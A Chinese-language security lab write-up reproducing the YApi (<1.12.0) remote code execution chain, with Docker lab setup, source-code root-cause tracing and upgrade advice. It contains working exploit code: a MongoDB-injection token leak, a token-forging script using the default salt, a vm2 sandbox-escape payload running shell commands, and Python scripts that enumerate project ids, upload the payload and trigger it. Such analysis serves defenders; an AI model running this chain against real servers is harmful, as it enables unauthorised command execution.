作者:xxhzz@星闌科技PortalLab
原文鏈接:https://mp.weixin.qq.com/s/UTMly3wLfK0SQHOj5CcN8w

前言

實驗室團隊開發出一款自動化Web/API漏洞Fuzz的命令行掃描工具(工具地址:https://github.com/StarCrossPortal/scalpel)。本周將重點持續更新漏洞POC庫,已新增多個熱門組件的漏洞檢測規則。功能方面:在前三個版本已陸續修復相關BUG問題,目前對掃描器結果展示也進行了優化,預計在下個版本進行更新。后續也會對使用說明文章進行補充,方便大家使用。

YApi介紹

YApi 是高效、易用、功能強大的 api 管理平臺,旨在為開發、產品、測試人員提供更優雅的接口管理服務。可以幫助開發者輕松創建、發布、維護 API,YApi 還為用戶提供了優秀的交互體驗,開發人員只需利用平臺提供的接口數據寫入工具以及簡單的點擊操作就可以實現接口的管理。

github:https://github.com/YMFE/yapi/tree/master

漏洞描述

YApi 是一個支持本地部署的可視化接口管理平臺。YApi 在 1.12.0 之前的版本(目前所有版本)中由于 base.js 沒有正確對 token 參數進行正確過濾,導致存在遠程代碼執行漏洞。攻擊者可通過MongoDB注入獲取用戶 token,其中包括用戶ID、項目ID等參數。yapi后臺的pre-request和pre-response方法存在缺陷點,通過注入調用自動化測試接口runAutoTest(),進而利用沙箱逃逸觸發命令執行。

漏洞版本

YApi < 1.12.0

環境搭建

docker 搭建 : https://github.com/fjc0k/docker-YApi

git clone https://github.com/fjc0k/docker-YApi
cd docker-YApi
vim docker-compose.yml 
docker-compose up -d

docker-compose.yml 修改為存在漏洞版本,這里使用的是Yapi 版本:1.10.2。

version: '3'

services:
  yapi-web:
    image: jayfong/yapi:1.10.2
    container_name: yapi-web
    ports:
      - 40001:3000
    environment:
      - YAPI_ADMIN_ACCOUNT=admin@docker.yapi
      - YAPI_ADMIN_PASSWORD=adm1n
      - YAPI_CLOSE_REGISTER=true
      - YAPI_DB_SERVERNAME=yapi-mongo
      - YAPI_DB_PORT=27017
      - YAPI_DB_DATABASE=yapi
      - YAPI_MAIL_ENABLE=false
      - YAPI_LDAP_LOGIN_ENABLE=false
      - YAPI_PLUGINS=[]
    depends_on:
      - yapi-mongo
    links:
      - yapi-mongo
    restart: unless-stopped
  yapi-mongo:
    image: mongo:latest
    container_name: yapi-mongo
    volumes:
      - ./data/db:/data/db
    expose:
      - 27017
    restart: unless-stopped

使用 docker ps 查看環境搭建成功。

圖片

頁面地址:http://xxxxx:40001

默認用戶名:admin@docker.yapi

默認密碼:adm1n

圖片

圖片

docker安裝后、需要創建項目、添加接口。

創建項目

圖片

圖片

添加接口

圖片

圖片

設置接口狀態

圖片

導入接口

圖片

接口環境設置

圖片

若為本地搭建,環境域名修改為:127.0.0.1:40001

圖片

非 Chrome 瀏覽器可忽略接口測試。

接口測試

注意:Chrome瀏覽器安裝插件后、可以發送測試數據。

添加教程:https://juejin.im/post/5e3bbd986fb9a07ce152b53d

圖片

漏洞復現

修復記錄

https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c

1、修復Mongo注入導致token泄漏

2、默認關閉Pre-request 和 Pre-respones

圖片

圖片

修復方式:在if 判斷中增加對參數token的驗證,token 必須為字符串。

復現思路:

1、通過接口注入獲取token

2、使用aes192加密方式生成加密后token

3、上傳vm2逃逸腳本到 pre-response

4、調用自動化測試接口觸發逃逸腳本

token爆破

在漏洞描述部分、結合修復記錄,發現注入點為 token。查看官方文檔:https://hellosean1025.github.io/yapi/openapi.html ,/api/project/get 接受參數為token

圖片

在request.body 、query獲取到token后 ,進入server/utils/token.js#parseToken()方法。

圖片

parseToken()在判斷token不為空后 ,進入 aesDecode()解密token,如果解密失敗,parseToken() 返回False。

圖片

tokens為False,經 if(!tokens) 條件判斷后進入 getProjectIdByToken()。該方法使用在請求中獲取到的token,查詢項目id。在getProjectIdByToken() 內部會調用server/models/token.js#findId()。

圖片

圖片

在 findId()中、最后會進入mongdb中使用findOne(),查詢數據。使用token 查詢項目Id。

圖片

mongdb介紹:MongoDB 將數據存儲為一個文檔,數據結構由鍵值(key=>value)對組成。MongoDB 文檔類似于 JSON 對象。字段值可以包含其他文檔,數組及文檔數組。

mongdb注入:https://www.anquanke.com/post/id/250101#h3-4

在這里使用 $regex 正則匹配 、根據響應報文判斷實現盲注。數據庫中token為16進制。

圖片

aes192 加密token

在 server/utils/token.js#aseEncode() 方法下已經實現了加密算法,稍微改點代碼即可直接使用。要注意的是,aseEncode()方法,data參數為 uid + '|' + token ,password 為 默認salt 或用戶自定義salt。默認salt為 abcde

圖片

圖片

nodejs 加密代碼如下,需要安裝nodejs。

注意:這里的uid是寫死的,可以通過使用for循環,改變uid,生成批量token。

測試腳本如下:

const crypto = require('crypto');

uid = "11"
token = "92af239a4e189e1661db"
data = uid + "|" + token

password = "abcde"

// 如下方法使用指定的算法與密碼來創建cipher對象
const cipher = crypto.createCipher('aes192', password);

// 使用該對象的update方法來指定需要被加密的數據
let crypted = cipher.update(data, 'utf-8', 'hex');

crypted += cipher.final('hex');

console.log(crypted)

圖片

上傳vm2逃逸腳本

YApi pre-script:通過自定義 js 腳本方式改變請求的參數和返回的 response 數據。

pre-script 官方介紹:https://hellosean1025.github.io/yapi/documents/project.html#%e8%af%b7%e6%b1%82%e9%85%8d%e7%bd%ae

vm2介紹:vm2 是一個沙箱,可以使用列入白名單的 Node 內置模塊運行不受信任的代碼。

vm2版本為:3.8.4

圖片

這里可以使用 vulhub 上的腳本。

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ifconfig").toString()
context.responseData = 'testtest' + mockJson + 'testtest'
console.log(responseData)

pre-response 上傳接口為:/api/project/up?token=加密后的token

請求參數為:

{"id":14,"pre_script":"","after_script":""}

這里將 參數 after_script 的值替換為 逃逸腳本。參數id 為項目id,需要正確,否則上傳失敗。id可以使用for循環,進行探測。

上傳測試腳本:

import requests
import re

token = "bfe07e1692ac38a3babc6438caffe92769f365e1f23caccf960ce46f48244dbc"
url = f'http://xxxxxxxx:40001/api/project/up?token={token}'
headers = {
    "content-type":"application/json"
}
vm2Script = """
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ifconfig").toString()
context.responseData = 'testtest' + mockJson + 'testtest'
console.log(responseData)
"""
body_json = {"id":1,
"pre_script":"",
"after_script":vm2Script}

print(body_json)
id = 1
while id:
    body_json["id"] = id ## 項目id 需要枚舉
    resp = requests.post(url=url,headers=headers,json=body_json)
    print(resp.status_code)
    print(resp.text)
    if resp.status_code == 200 and re.search("\"errcode\":0",resp.text):
        print("[*] pre-response 腳本上傳成功")
        id = False
    else:
        print("[*] pre-response 腳本上傳失敗")
        id+=1
    print(id)

圖片

漏洞觸發

目前、已上傳vm2逃逸腳本,使用自動化測試觸發逃逸腳本,實現遠程命令執行。

YApi 服務端自動化測試 :服務端自動化測試功能是在YApi服務端跑自動化測試,不需要依賴瀏覽器環境,只需要訪問 YApi 提供的 url 鏈接就能跑自動化測試,非常的簡單易用,而且可以集成到 jenkins。

自動化測試接口為:/api/open/run_auto_test

接口參數:id(需要爆破),token(加密后的token),mode=html

圖片

測試腳本如下:

import requests
import re

token = "bfe07e1692ac38a3babc6438caffe92769f365e1f23caccf960ce46f48244dbc"

id = 1

while id:
    url =f'http://xxxxxxxx:40001/api/open/run_auto_test?id={id}&token={token}&mode=html'
    resp = requests.get(url=url)
    if re.search("YAPI",resp.text) and re.search("<!DOCTYPE html>",resp.text):
        print("[*] 命令執行成功")
        # print(url)
        print("===")
        print(id)
        print(re.search("testtest[\s\S]*testtest",resp.text)[0])
        id = False
        break
    print(url)
    id += 1 

exit()

圖片

腳本測試

圖片

修復建議

1、目前EXP已公開,受影響用戶升級到最新 1.12.0 版本:https://github.com/YMFE/yapi/releases/tag/v1.12.0

相關參考

1.https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c

2.https://thegoodhacker.com/posts/the-unsecure-node-vm-module/

3.https://github.com/patriksimek/vm2/issues/467

4.https://github.com/vulhub/vulhub/blob/master/yapi/mongodb-inj/README.zh-cn.md

5.https://mp.weixin.qq.com/s/7mfP5av36j5fOjYDy5dcOA

6.https://mp.weixin.qq.com/s/iaQHeIGjoDkRPhOBRd4H5A

7.https://www.anquanke.com/post/id/250101#h3-4

漏洞檢測工具

工具地址https://github.com/StarCrossPortal/scalpel

已更新:

1、POC庫

新增5條熱門組件漏洞檢測POC:藍凌OA前臺任意文件讀取漏洞、MessageSolution 企業郵件歸檔管理系統EEA 信息泄露漏洞、銳捷RG-UAC統一上網行為管理系統信息泄露漏洞、若依管理系統任意文件下載漏洞、ShopXO任意文件讀取漏洞。已內置100+漏洞檢測POC。

2、掃描器功能

優化了掃描結果展示(預計在下個版本更新)

持續更新:

漏洞POC庫、漏洞檢測場景、掃描工具漏洞檢測優化(檢測邏輯,滿足對需要連續數據包關聯操作漏洞場景的檢測)


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2028/